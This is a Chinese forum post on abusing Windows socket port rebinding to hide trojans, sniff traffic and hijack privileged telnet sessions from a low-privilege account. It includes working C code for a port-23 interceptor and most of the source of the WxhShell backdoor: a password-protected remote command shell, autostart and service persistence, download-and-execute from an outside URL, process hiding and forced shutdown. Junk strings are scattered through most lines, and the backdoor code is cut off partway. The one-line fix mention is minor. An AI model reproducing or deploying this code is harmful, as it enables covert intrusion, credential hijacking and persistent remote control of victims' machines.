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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s,~)5nL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x ,LQA0  
#\DKU@|h  
  saddr.sin_family = AF_INET; c ow]qe6K  
iLhxcM2K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ftr?@^  
d9bc>5%-F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); { [S@+  
q2>dPI;3T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r*Iu6  
@x u/&pbI  
  这意味着什么?意味着可以进行如下的攻击: *21foBfqh  
b&iJui"7k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \9FWH}|  
Y\cQ "9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8y$c\Eu(mF  
xNLvK:@0p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 IgxZ_2hO  
(A<'{J#5,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bi =IIVlH  
??MF8 uv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >o45vB4o  
A]x'!qa@=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4|yZA*Q^  
@20~R/vh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &i/QFO7y}  
WJXQM[  
  #include !`UHr]HJ  
  #include %+A z X  
  #include %BV 2 q  
  #include    )'pc1I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XwerQwO=  
  int main() E]opA$JQ  
  { ;8VvpO^G/  
  WORD wVersionRequested; PR{y84$  
  DWORD ret; 3jaY\(`%h  
  WSADATA wsaData; WZ#|?pJ  
  BOOL val; PNn- @=%  
  SOCKADDR_IN saddr; 4R8W ot  
  SOCKADDR_IN scaddr; +|SvJ  
  int err; Po+tk5}''5  
  SOCKET s; c <T'_93  
  SOCKET sc; VlLc[eVV  
  int caddsize; !"dn!X  
  HANDLE mt; 9[L@*7A`m  
  DWORD tid;   ?M02|8-  
  wVersionRequested = MAKEWORD( 2, 2 ); UN,y /V  
  err = WSAStartup( wVersionRequested, &wsaData ); fxR}a,a  
  if ( err != 0 ) { $ 2/T]  
  printf("error!WSAStartup failed!\n"); BAQ;.N4  
  return -1; 4t Z. T9d  
  } Wd0$t    
  saddr.sin_family = AF_INET; vWM'}(  
   [+j39d.Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pbM"tr_A{  
P0/B!8x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *, Mg  
  saddr.sin_port = htons(23); Xy;!Q`h(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z T5p  
  { 6Eu&%`  
  printf("error!socket failed!\n"); @Z50S 8  
  return -1; Gkfc@[Z V  
  } .W9/*cZV0  
  val = TRUE; cdH Ug#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~w>Z !RuhT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]0g%)fuMf  
  { l:Y$A$W]>  
  printf("error!setsockopt failed!\n"); [;]@PKW?w  
  return -1; JN{xh0*  
  } _tGR:E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e1k\:]6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cuw3}4m%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OR\-%JX/5  
0lvX,78G;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VB?mr13}G  
  { +]!`>  
  ret=GetLastError(); o`@B*, @  
  printf("error!bind failed!\n"); JW5SBt>  
  return -1; w|1Gb[  
  } .QhH!#Y2D  
  listen(s,2); !iOuIYjV  
  while(1) V r0-/T  
  { D(GAC!|/]  
  caddsize = sizeof(scaddr); X> *o\   
  //接受连接请求 F! |?S:X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kP6P/F|RcZ  
  if(sc!=INVALID_SOCKET) ItoSORVV  
  { MKuy?mri~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =&- hU|ur  
  if(mt==NULL) [SW@"C!  
  { ,u,]ab  
  printf("Thread Creat Failed!\n"); $LPu_FJ  
  break; MI!JZI$z5  
  } FZ)Y<r8|s  
  } 7{vnhl(Z  
  CloseHandle(mt); ~YuRi#CTD:  
  } C+WHg-l  
  closesocket(s); ; md{T'  
  WSACleanup(); 9u'hCi(  
  return 0; 3,K*r"=  
  }   F7(~v2|  
  DWORD WINAPI ClientThread(LPVOID lpParam) lRn6Zh  
  { v!;E1  
  SOCKET ss = (SOCKET)lpParam; t `4^cd5V  
  SOCKET sc; d E@R7yU@  
  unsigned char buf[4096]; `;^%t  
  SOCKADDR_IN saddr; @UO=)PxN3  
  long num; h&!k!Su3#  
  DWORD val; "~h.u  
  DWORD ret; aBM'ROQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #"M 'Cs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C/P,W>8  
  saddr.sin_family = AF_INET; {C%/>e2-%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N_vVEIO9  
  saddr.sin_port = htons(23); 7eh|5e$@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mf26AIlkQ  
  { y>S.B/ d  
  printf("error!socket failed!\n"); F:/R'0  
  return -1; 5JbPB!5;  
  } 'DQp  
  val = 100; S?{|qlpy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]|q\^k)JU  
  { i\S } aCm  
  ret = GetLastError(); [@}{sH(#Ta  
  return -1; }lgqRg)F9[  
  } Av*R(d=`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (BC3[R@/l  
  { @1 #$  
  ret = GetLastError(); t|*PC   
  return -1;  ?4 `K8  
  } @j$tpz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S,5>g07-`  
  { ^uW!=%D  
  printf("error!socket connect failed!\n"); qYFol# =%  
  closesocket(sc); GLb}_-|  
  closesocket(ss); ;G.m;5A  
  return -1; g<s[6yA  
  } *@Z/L26s;=  
  while(1) `4cs.ab  
  { r'hr 'wZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #R|M(Z">q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 laM0W5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g1\4Jb  
  num = recv(ss,buf,4096,0); u[U~`*i*rA  
  if(num>0) do{#y*B/g!  
  send(sc,buf,num,0); nzDS  
  else if(num==0) I~S`'()J  
  break; .2hQ!)+  
  num = recv(sc,buf,4096,0); vi6EI wZG  
  if(num>0) }>xgzhdT  
  send(ss,buf,num,0); ~(B\X?v  
  else if(num==0) p5C sw5  
  break; Sv-}w$  
  } w\Q3h`.  
  closesocket(ss); !^ 6x64r  
  closesocket(sc); L{~L6:6An  
  return 0 ; tc@U_>{  
  } 5(MWgC1  
>TsJ0E?3x  
%^"Tz,f  
========================================================== fHf+!  
t4?g_$>   
下边附上一个代码,,WXhSHELL lN+NhPF  
i^uC4S~  
==========================================================  zUqiz  
)dLESk  
#include "stdafx.h" i{VjSWq  
ja~b5Tf9  
#include <stdio.h> @( 9#\%=  
#include <string.h> #hd<5+$U}l  
#include <windows.h> JBE'B Q@  
#include <winsock2.h> /,5`#Gte_  
#include <winsvc.h> >w9)c|  
#include <urlmon.h> eEn_aX  
bm1ngI1oI  
#pragma comment (lib, "Ws2_32.lib") 5v~Y>  
#pragma comment (lib, "urlmon.lib") $'X*L e@k  
tZa)sbz  
#define MAX_USER   100 // 最大客户端连接数 B>o\;)l3O  
#define BUF_SOCK   200 // sock buffer xn@?CP`-y  
#define KEY_BUFF   255 // 输入 buffer scqG$~O)  
1q~U3'l:$  
#define REBOOT     0   // 重启 !j4C:L3F  
#define SHUTDOWN   1   // 关机 "JVz v U]  
D +)6#i Y  
#define DEF_PORT   5000 // 监听端口 S:vv*5  
{H $\,  
#define REG_LEN     16   // 注册表键长度 dqUhp_f2qK  
#define SVC_LEN     80   // NT服务名长度 F4 Ft~:a  
U3lr<(r*  
// 从dll定义API |i?AtOt@f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KN~E9oGs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X >%2\S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {L$b$u$7:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W\U zw,vI  
Oe$cM=Yf  
// wxhshell配置信息 p>K'6lCa  
struct WSCFG { ;y6Jo  
  int ws_port;         // 监听端口 5vbnO]8  
  char ws_passstr[REG_LEN]; // 口令 >o 3X)  
  int ws_autoins;       // 安装标记, 1=yes 0=no P xpz7He  
  char ws_regname[REG_LEN]; // 注册表键名 Di*+Cz;gK  
  char ws_svcname[REG_LEN]; // 服务名 An[*Jx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u{H,i(mx?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7L;yN..0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~uC4>+dk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /l+x&xYD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j\dkv_L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ":7cZ1VN2  
8<!qT1  
}; ,l; &Tb=k  
(G PJ=r  
// default Wxhshell configuration D{'Na5(  
struct WSCFG wscfg={DEF_PORT, T,7Y7MzF  
    "xuhuanlingzhe", lu(G3T8  
    1, (P`{0^O"}  
    "Wxhshell", 8ZG'?A+{  
    "Wxhshell", #4na>G|  
            "WxhShell Service",  TWx<)  
    "Wrsky Windows CmdShell Service", YXI DqTA+  
    "Please Input Your Password: ", ^ ?tAt3dMI  
  1, mkE*.I0=  
  "http://www.wrsky.com/wxhshell.exe", A$XjzTR  
  "Wxhshell.exe" 2z0HB+Y}x  
    }; (m04Z2#  
mZ/B:)_  
// 消息定义模块 1LPfn(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'b661,+d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yH#;k:O=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [po+a@ %  
char *msg_ws_ext="\n\rExit."; kOdS^-  
char *msg_ws_end="\n\rQuit."; @z/]!n\~  
char *msg_ws_boot="\n\rReboot..."; i6`8yw  
char *msg_ws_poff="\n\rShutdown...";  _&(ij(H  
char *msg_ws_down="\n\rSave to "; 87<y_P@{  
mnmwO(.  
char *msg_ws_err="\n\rErr!"; oN `tZ;a  
char *msg_ws_ok="\n\rOK!"; #mkr]K8A4  
m qw!C  
char ExeFile[MAX_PATH]; lmmyDg1R  
int nUser = 0; [7I|8  
HANDLE handles[MAX_USER]; )&dhE^ O  
int OsIsNt; d}l^yln  
cC}s5`  
SERVICE_STATUS       serviceStatus; @bqCs^U35  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?sS'T7r v  
-S,dG|  
// 函数声明 YSa:"A  
int Install(void); hq,;H40%/  
int Uninstall(void); [tD*\\IA  
int DownloadFile(char *sURL, SOCKET wsh); iBo-ANnK9  
int Boot(int flag); Uw&+zJ  
void HideProc(void); <q[ *kr  
int GetOsVer(void); 'E&K%/d  
int Wxhshell(SOCKET wsl); `=KrV#/758  
void TalkWithClient(void *cs); [qZ4+xF,,  
int CmdShell(SOCKET sock); HqF8:z?v  
int StartFromService(void); vQ_B2#U:  
int StartWxhshell(LPSTR lpCmdLine); J$EEpL  
KFfwZkj{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wj'iU&aca  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0x`:jz`  
&y(aByI y  
// 数据结构和表定义 "5y^s!/  
SERVICE_TABLE_ENTRY DispatchTable[] = FBY~Z$o0.  
{ l&|{uk  
{wscfg.ws_svcname, NTServiceMain}, !k s<VJh  
{NULL, NULL} vy#c(:UQR  
}; $`=?Nb@@#  
zcZw}  
// 自我安装 ,@!d%rL:4]  
int Install(void) P)\f\yb  
{ 3\WES!  
  char svExeFile[MAX_PATH]; l:|Fs=\  
  HKEY key; H~~(v52wD  
  strcpy(svExeFile,ExeFile); A&M/W'$s  
>u/yp[Ky  
// 如果是win9x系统,修改注册表设为自启动 (w^&NU'e  
if(!OsIsNt) { ;< ][upn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dY|jV}%T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hqds T  
  RegCloseKey(key); /Z@.;M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Q kfvK]Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cq=R  
  RegCloseKey(key); }>1E,3A:%G  
  return 0; eS.]@ E-T  
    } Qdn:4yk  
  } -qEr-[z  
} uB^]5sqfk  
else { nx +& {hn(  
*7vPU:Q[  
// 如果是NT以上系统,安装为系统服务 6,h<0j{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jF5JpyOc  
if (schSCManager!=0) y@Or2bO#  
{ 'q-h kN  
  SC_HANDLE schService = CreateService tQ|I$5jNJ  
  ( lxz %b C@  
  schSCManager, .o8Gi*PEY  
  wscfg.ws_svcname, 8xv\Zj+  
  wscfg.ws_svcdisp, o{hKt?  
  SERVICE_ALL_ACCESS, i :$g1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .) GVb<w  
  SERVICE_AUTO_START, ( 0h]<7  
  SERVICE_ERROR_NORMAL, i~9)Hz;!  
  svExeFile, Cn<kl^!Q-  
  NULL, x('yBf  
  NULL, l^"G\ZVI  
  NULL, 8(I"C$D!k  
  NULL, =@z"k'Vl`  
  NULL eo80L  
  ); a&[nVu+  
  if (schService!=0) BY d3rI  
  { onlyvH4  
  CloseServiceHandle(schService); /PCQv_Y&,/  
  CloseServiceHandle(schSCManager); yh)q96m-V=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B dKwWgi+a  
  strcat(svExeFile,wscfg.ws_svcname); **"P A8   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k$2Y)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6GN'rVr!Z  
  RegCloseKey(key); xle29:?l  
  return 0; ] QEw\4M?=  
    } F)IP~BE-k  
  } =3:ltI.'*I  
  CloseServiceHandle(schSCManager); A^7!+1*K+  
} 6{~I7!m"  
} d]^i1  
DIRCP=5  
return 1; <f6Oj`{f4  
} EGt)tI&  
LQjqwsuN{  
// 自我卸载 WDZi @9X_  
int Uninstall(void) vKC>t95  
{ 4kM<L}J#  
  HKEY key; 'yNp J'  
GND[f}  
if(!OsIsNt) { g;h&Xkp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9T1G/0k-  
  RegDeleteValue(key,wscfg.ws_regname); 6>Cubb>  
  RegCloseKey(key); tFQFpbI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $3ILVT  
  RegDeleteValue(key,wscfg.ws_regname); 1:t>}[Y  
  RegCloseKey(key); m+=!Z|K  
  return 0; S`G\Cd;5  
  } [ZbK)L+_  
} {;zPW!G  
} 4l*&3Ar  
else { X@)lPr$a  
2$91+N*w9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1rEP)66N  
if (schSCManager!=0) nGVqVSxKT  
{ 9PAp*`J@kr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UPYM~c+}  
  if (schService!=0) Fk(5y)  
  { Kf4z*5Veqr  
  if(DeleteService(schService)!=0) { \abl|;fj  
  CloseServiceHandle(schService); S(6ZX>wv:  
  CloseServiceHandle(schSCManager); "ir*;|  
  return 0; K?4(ou  
  } n3N"Ax  
  CloseServiceHandle(schService); YUE[eD/  
  } PwW@I~@>  
  CloseServiceHandle(schSCManager); 'gGB-=yvbO  
} bv/b<N@4?$  
} wO#+8js  
KB = z{g  
return 1; ]YP?bP,:  
} n1Jz49[r  
U6Ak"  
// 从指定url下载文件 Pa}vmn1$  
int DownloadFile(char *sURL, SOCKET wsh) hbeC|_+   
{ bnGA.b  
  HRESULT hr; ho1F8TG=  
char seps[]= "/"; w^gh&E  
char *token; d%3BJ+J  
char *file; Ie"R,,c   
char myURL[MAX_PATH]; (4LLTf0  
char myFILE[MAX_PATH]; 6{'6_4;Fv(  
2XHk}M|  
strcpy(myURL,sURL); ja/[PHq"  
  token=strtok(myURL,seps); ?=kswf  
  while(token!=NULL) *-_Np u6  
  { fR%8?6  
    file=token; nQ\k{%Q  
  token=strtok(NULL,seps); 1RA$hW@}  
  } )^TQedF  
J~q+G  
GetCurrentDirectory(MAX_PATH,myFILE); ydQS"]\g  
strcat(myFILE, "\\"); 16|S 0 )  
strcat(myFILE, file); d]E vC>  
  send(wsh,myFILE,strlen(myFILE),0); .TC `\mV  
send(wsh,"...",3,0); sd53 _s V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R6;>RRU_  
  if(hr==S_OK) F]YKYF'1I  
return 0; Q8y|:tb$Y  
else Z<W6Avr  
return 1; E 6: p  
^A`(  
} M;qL)vf  
l #Q`f.  
// 系统电源模块 7h1gU  
int Boot(int flag) fh#_Mj+y  
{ sE6J:m(  
  HANDLE hToken; \aIy68rH,  
  TOKEN_PRIVILEGES tkp; AvZ) 1(  
moR2iyO_  
  if(OsIsNt) { Ib!rf:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p;$9W+H0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u9w&q^0dqG  
    tkp.PrivilegeCount = 1; Kdu\`c-lB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8F`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *K'ej4"u  
if(flag==REBOOT) { P*`xiTA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /Ph&:n\4  
  return 0; .E#Sm?gK  
} 5Q`n6x|  
else { 'V#ew\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]0 RXo3  
  return 0; % Au$E&sj  
} aa8Qs lm  
  } \_nmfTr!K  
  else { y PYJc  
if(flag==REBOOT) { ?4e6w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u=o"^   
  return 0; @BUqQ9q:  
} AijTT%  
else { $?AA"Nz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A(OfG&!  
  return 0; uz3pc;0LPY  
} xY2_*#{.  
} :xS&Y\ry  
4UjE*Aq  
return 1; GA.bRN2CI2  
} AUsQj\Nm%  
Fx5d@WNa>  
// win9x进程隐藏模块 6L9[U^`@  
void HideProc(void) d`uO7jlm  
{ v9m;vWp  
+\GZ(!~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WwtE=od  
  if ( hKernel != NULL ) yr2L  
  { \&&(ytL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ) Zo_6%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9,f<Nb(\  
    FreeLibrary(hKernel); 7G(f1Y  
  } @[tV_Z%,b  
8sIA;r%S  
return; AAq=,=:R<  
} F(9 Y/UXH  
.*-w UBr  
// 获取操作系统版本 B36puz 0{  
int GetOsVer(void) OP`Jc$| 6  
{ 'z}M[h K]  
  OSVERSIONINFO winfo; 68<Z\WP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~X<cG=p~u  
  GetVersionEx(&winfo); 7[v@*/W@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !{tiTA  
  return 1; Y%:0|utQC  
  else 5b1uD>,;y  
  return 0; rjHIQC C  
} uk[< 6oxz  
$KWYe{#  
// 客户端句柄模块 kgapTv>q  
int Wxhshell(SOCKET wsl) x X/s1(P  
{ "lz[zFnO  
  SOCKET wsh; cPsn]U  
  struct sockaddr_in client; '&:1?i)  
  DWORD myID; ^M"z1B]  
bk"k&.C^+  
  while(nUser<MAX_USER) 15KV} ){  
{ M&/aJRBS  
  int nSize=sizeof(client); Fiu!!M6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mp"'?zf  
  if(wsh==INVALID_SOCKET) return 1; gZlw  
\D U^idp#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zfy~mv$  
if(handles[nUser]==0) zf3:<CRX5  
  closesocket(wsh); Va@6=U7c  
else Ft;u\KT  
  nUser++; .blft,'  
  } 3<Z'F}lg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AwXt @!(  
!Wixs]od   
  return 0; + sywgb)  
} 5rmlAq  
t'Eb#Nup3  
// 关闭 socket S6T!qH{6  
void CloseIt(SOCKET wsh) 7AO3-; l]  
{ tpa^k  
closesocket(wsh); hB7pR"P  
nUser--; ^0~c 7`k`V  
ExitThread(0); !/6\m!e|1R  
} TD{=L*{+  
;EJPrDHTk  
// 客户端请求句柄 inPE/Ux  
void TalkWithClient(void *cs) wD6!#t k  
{ |O(-CDQe  
8wX+ZL: 9  
  SOCKET wsh=(SOCKET)cs; @q+cm JKv  
  char pwd[SVC_LEN]; j&dx[4|m:h  
  char cmd[KEY_BUFF]; vS$oT]-hKE  
char chr[1]; &{zwM |Q@?  
int i,j; &I RA=nJ  
ZUXse1,  
  while (nUser < MAX_USER) { s~LZOPN  
Z .bit_(  
if(wscfg.ws_passstr) { n{64g+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4@v1jJj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ,v*p  
  //ZeroMemory(pwd,KEY_BUFF); =! N _^cb  
      i=0; VFl 1 f  
  while(i<SVC_LEN) { BbrT f"`  
my ;  
  // 设置超时 LG=X)w)W4S  
  fd_set FdRead; \5'O.*pr  
  struct timeval TimeOut; %j *k  
  FD_ZERO(&FdRead); *D?((_+  
  FD_SET(wsh,&FdRead); [,<\RviI  
  TimeOut.tv_sec=8; (Ffb&GL  
  TimeOut.tv_usec=0; `6Ureui2?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )W8L91-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @7@e`b?  
W$" Y%^L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h L]8e>a?  
  pwd=chr[0]; _%wK}eH+sy  
  if(chr[0]==0xd || chr[0]==0xa) { -G],H)M  
  pwd=0; gX@nPZjg  
  break; G la@l<  
  } pbDw Lo]  
  i++; xH<'GB)  
    } +{xMIl_  
d"H<e}D  
  // 如果是非法用户,关闭 socket _W0OM[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D =r-  
} H>?:U]  
J>=1dCK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )=jT_?9b   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 908ayfVI  
e'1 ^+*bU  
while(1) {  Y*@|My`  
5v|H<wPp  
  ZeroMemory(cmd,KEY_BUFF); })20Zld}a  
 3L%WVCB  
      // 自动支持客户端 telnet标准   ,IIZ Xl@  
  j=0; i8Fs0U4"  
  while(j<KEY_BUFF) { T3PX gL)o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^|wT_k\  
  cmd[j]=chr[0]; 2GSgG.%SSM  
  if(chr[0]==0xa || chr[0]==0xd) { k)`$%[K8  
  cmd[j]=0; !0Idp%  
  break; `n 3FT=  
  } \F 3C=M@:  
  j++; v9%nau4  
    } yp=|7  
pC*BA<?Rg  
  // 下载文件 ^ED"rMI  
  if(strstr(cmd,"http://")) { =~J"kC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $ !v}xY  
  if(DownloadFile(cmd,wsh)) =G( *gx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `#u l,%  
  else EdEoXY-2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kb-W tFx  
  } r4E`'o[  
  else { FZiZg;  
(%[Tk[  
    switch(cmd[0]) { bxAsV/j  
  ZB828T3  
  // 帮助 ZA0i)(j*Mn  
  case '?': { 5U%MoH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "H>.':c"+3  
    break; hG= k1T%=  
  } eSl]8BX_  
  // 安装 ?VB#GJ0M9  
  case 'i': { eGLO!DdxZ  
    if(Install()) U,PZMz`2j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k, f)2<  
    else Bc@30KiQ ^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); re; Lg C  
    break; 9#uIC7M  
    } vYDSu.C@a  
  // 卸载 &vCeLh:s  
  case 'r': { eUt=n)*`  
    if(Uninstall()) );nz4/V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  kI%peb?  
    else aD2*.ln><  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F\5X7 ditD  
    break; CWs: l3_yn  
    } {O)YwT$`  
  // 显示 wxhshell 所在路径 MY!q%  
  case 'p': { SSE3tcRRl  
    char svExeFile[MAX_PATH]; pprejUR  
    strcpy(svExeFile,"\n\r"); czI{qi5N  
      strcat(svExeFile,ExeFile); wf?u (3/%  
        send(wsh,svExeFile,strlen(svExeFile),0); n@ 4@,  
    break; 4r\*@rq  
    } eOt%xTx  
  // 重启 Jen%}\  
  case 'b': { PWvSbn6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vvyj  
    if(Boot(REBOOT)) QC{u|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |8H_-n  
    else { U;g S[8,p  
    closesocket(wsh); *(G&B\  
    ExitThread(0); ahA{B1M)n  
    } -0$:|p?@^  
    break; 'w(y J  
    } ^ Hg/P8q  
  // 关机 eIg+PuQD]  
  case 'd': { f])M04<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NPm;  
